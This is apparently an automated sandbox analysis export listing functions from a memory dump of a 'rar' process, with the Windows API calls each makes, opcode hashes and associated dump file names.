Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction ID: 3b7b8918921a8e881d2d24468e236801415153e21926f30ede7782f57021b867
Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction Fuzzy Hash: D0E0EC28E1960247FF685761A8691B932D1DF9AB91F5420F8D90FCA350EE2C99868700

Function 00007FF69A442488 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF69A44246C), ref: 00007FF69A4424B0
TerminateProcess.KERNEL32(?,?,?,00007FF69A44246C), ref: 00007FF69A4424BB
ExitProcess.KERNEL32 ref: 00007FF69A4424CA

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction ID: d9ac088e9db16a1ec6a5d6c58747c45d7741a1c0adadd9218bf7547056191142
Opcode Fuzzy Hash: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction Fuzzy Hash: AAE09A24A0874546EAA46F65988537933D2EF85F41F1065F8CD4EC7392CE3DA4498350

Function 00007FF69A404044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON

Download Yara Rule

APIs

OemToCharA.USER32 ref: 00007FF69A404255
ExpandEnvironmentStringsW.KERNEL32(?,?,00000000,?,?,?,?,?,00007FF69A3E6CD9), ref: 00007FF69A40447C

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CharEnvironmentExpandStrings
String ID:
API String ID: 4052775200-0
Opcode ID: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction ID: 402870ea6cd7ac0447825b222b25c355c930196caa587547040f9f6e0fae56b0
Opcode Fuzzy Hash: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
Instruction Fuzzy Hash: 71E1E022A186A285EB709F24D4001BE77E0FBA1B94F5441F1DB9E87AD9DF7CE481D780

Function 00007FF69A401AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF69A3F7EBE,00000000,00000000,00000000,00000000,00000007,00007FF69A3F7C48), ref: 00007FF69A401B8D
CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF69A3F7EBE,00000000,00000000,00000000,00000000,00000007,00007FF69A3F7C48), ref: 00007FF69A401BD7

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction ID: 0c1b55147ec7c2f8d1211767fdd5718bdfbdcf1776c4c217e724078753035f66
Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
Instruction Fuzzy Hash: 713124A3A1864146E7308F28E4053B976E0EB62F79F1043B4DEAC876C5DF7CC4858740

Function 00007FF69A41915C Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF69A4191CA
new.LIBCMT ref: 00007FF69A4191F2

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0c7fbb111e56d36465e4d818618f2f1e76dda2c5551dac30fb367d58ac609c7
Instruction ID: 42dd1cb871c97f502d7c48e59103f686977d0225ca358a3583df8bb143d037f2
Opcode Fuzzy Hash: f0c7fbb111e56d36465e4d818618f2f1e76dda2c5551dac30fb367d58ac609c7
Instruction Fuzzy Hash: 2C11B932609B8141EB24DB64E5003B9B2D4EFA4B94F2406B8D6DD8B7E6DF7DD051C300

Function 00007FF69A4020B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00007FF69A4022EE), ref: 00007FF69A40211B
GetLastError.KERNEL32(?,?,?,00007FF69A4022EE), ref: 00007FF69A402126

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction ID: 210436290e70db0fa437ed2b6e486d49f64cd7bbb50f911181c23904d7df7023
Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction Fuzzy Hash: 4501E525A196A542EBB48B26A44002972E1EF75FE0F1452F0DF6DC7BD4CF3CE441A700

Function 00007FF69A3F7A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

setbuf.LIBCMT ref: 00007FF69A3F7A7B

Part of subcall function 00007FF69A442AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF69A447EF3

setbuf.LIBCMT ref: 00007FF69A3F7A8F

Part of subcall function 00007FF69A3F7B44: GetStdHandle.KERNEL32(?,?,?,00007FF69A3F7A9E), ref: 00007FF69A3F7B4A
Part of subcall function 00007FF69A3F7B44: GetFileType.KERNELBASE(?,?,?,00007FF69A3F7A9E), ref: 00007FF69A3F7B56
Part of subcall function 00007FF69A3F7B44: GetConsoleMode.KERNEL32(?,?,?,00007FF69A3F7A9E), ref: 00007FF69A3F7B69

Part of subcall function 00007FF69A442ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF69A442AD0

Part of subcall function 00007FF69A442B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF69A442C1C

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
String ID:
API String ID: 4044681568-0
Opcode ID: 8727ae0c8f4e6654f39e3312ee4fd5538b937ba58b7f1081e43b9e7840c2ab2c
Instruction ID: fb6de92daec00ae464be511cffee08c5e7882104c8d000ddf1c2bfd23aa3c11e
Opcode Fuzzy Hash: 8727ae0c8f4e6654f39e3312ee4fd5538b937ba58b7f1081e43b9e7840c2ab2c
Instruction Fuzzy Hash: DA01D300E1928306FAB8BB7554A27BA34D2CF92B11F4052FCE52ECB3D3CD5D28019391

Function 00007FF69A402440 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF69A402480
GetLastError.KERNEL32 ref: 00007FF69A40248D

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction ID: 9e1af4bb90d5b1083616bf070d0e9776cd9ba6fb8f1b53be3cb079f2d8c0b2c8
Opcode Fuzzy Hash: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction Fuzzy Hash: 41016D21A1868292EBB49B39E44427833A0EB54BB8F2443F5E23D821E5CF3CD586D700

Function 00007FF69A4030C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000800,00007FF69A40305D,?,?,?,?,?,?,?,?,00007FF69A414126,?,?,?,?,00000800), ref: 00007FF69A4030F0
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF69A414126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF69A403119

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction ID: 489df78f808f76e8f7477fc3249210797cd69190062ed6f90b4fe0ced6604dae
Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction Fuzzy Hash: 57F0AF21B18A8145EB70DB25F5443A972E0FB9DBD4F4001B0EADCC7799CE6DD5848B00

Function 00007FF69A42B3F0 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00000000,00007FF69A427F72), ref: 00007FF69A42B41E
LoadLibraryExW.KERNELBASE ref: 00007FF69A42B449

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction ID: 290c52d22cecdc2dc7f0bee668d73adb8ecbe21d41d222c4c6486d5250400bee
Opcode Fuzzy Hash: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction Fuzzy Hash: 60F09662B1858146F6709B21E8553F673E4FF9CB84F8000B1E9CDC3699DE2CD6458B40

Function 00007FF69A42BA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF69A42BACD), ref: 00007FF69A42BA74
GetProcessAffinityMask.KERNEL32 ref: 00007FF69A42BA87

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction ID: 44afb80263f8623edd6fbd049d76253e8728ca6319e4e79f6ae575623b2c1adb
Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction Fuzzy Hash: 89E09261B3459186DBF89B59D496FA933D0EF95F80F8070B9F80BC3A54EE2DD5468B00

Function 00007FF69A444A74 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF69A444A8A
GetLastError.KERNEL32 ref: 00007FF69A444A9C

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction ID: 499bf5fcb7715c24f3b84dce353746fcf775606ad257c72640c1afde8672cdad
Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction Fuzzy Hash: 60E08C60E1964383FF38AFF2A80517432D0EF89F40F1450F0D90DD7292EE2CA4918384

Function 00007FF69A4271FC Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c6451250f1d92b445fd7dccdbfbb717c39f23b8886fb790192c1d858181173
Instruction ID: 125c06ea0e78536c005cc6ca3606376c190ccd52b48c43026827d40506d69c88
Opcode Fuzzy Hash: c7c6451250f1d92b445fd7dccdbfbb717c39f23b8886fb790192c1d858181173
Instruction Fuzzy Hash: 8BE1DE22A0868282FB309E2594543BE77E1EF51F98F0841F5DE4DCB7DADE2DA466C710

Function 00007FF69A3E72C4 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A41915C: new.LIBCMT ref: 00007FF69A4191CA
Part of subcall function 00007FF69A41915C: new.LIBCMT ref: 00007FF69A4191F2

new.LIBCMT ref: 00007FF69A3E73DE

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7a1d2a60ffdbc43dff3a0632d536e208070f789ed259da07b8fca2f3bbe514d
Instruction ID: 58e456d1d029c4bba9b7b34f4c4cf97547d96cb2435204d49bbd8569f8ad1818
Opcode Fuzzy Hash: c7a1d2a60ffdbc43dff3a0632d536e208070f789ed259da07b8fca2f3bbe514d
Instruction Fuzzy Hash: 25512673528BD295E7109F64E8441ED37A8F744F88F58427AEE884B79ADF389062C331

Function 00007FF69A44231C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF69A442344

Part of subcall function 00007FF69A4424D4: GetModuleHandleExW.KERNEL32 ref: 00007FF69A4424F4
Part of subcall function 00007FF69A4424D4: GetProcAddress.KERNEL32 ref: 00007FF69A44250A
Part of subcall function 00007FF69A4424D4: FreeLibrary.KERNEL32 ref: 00007FF69A44252F

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

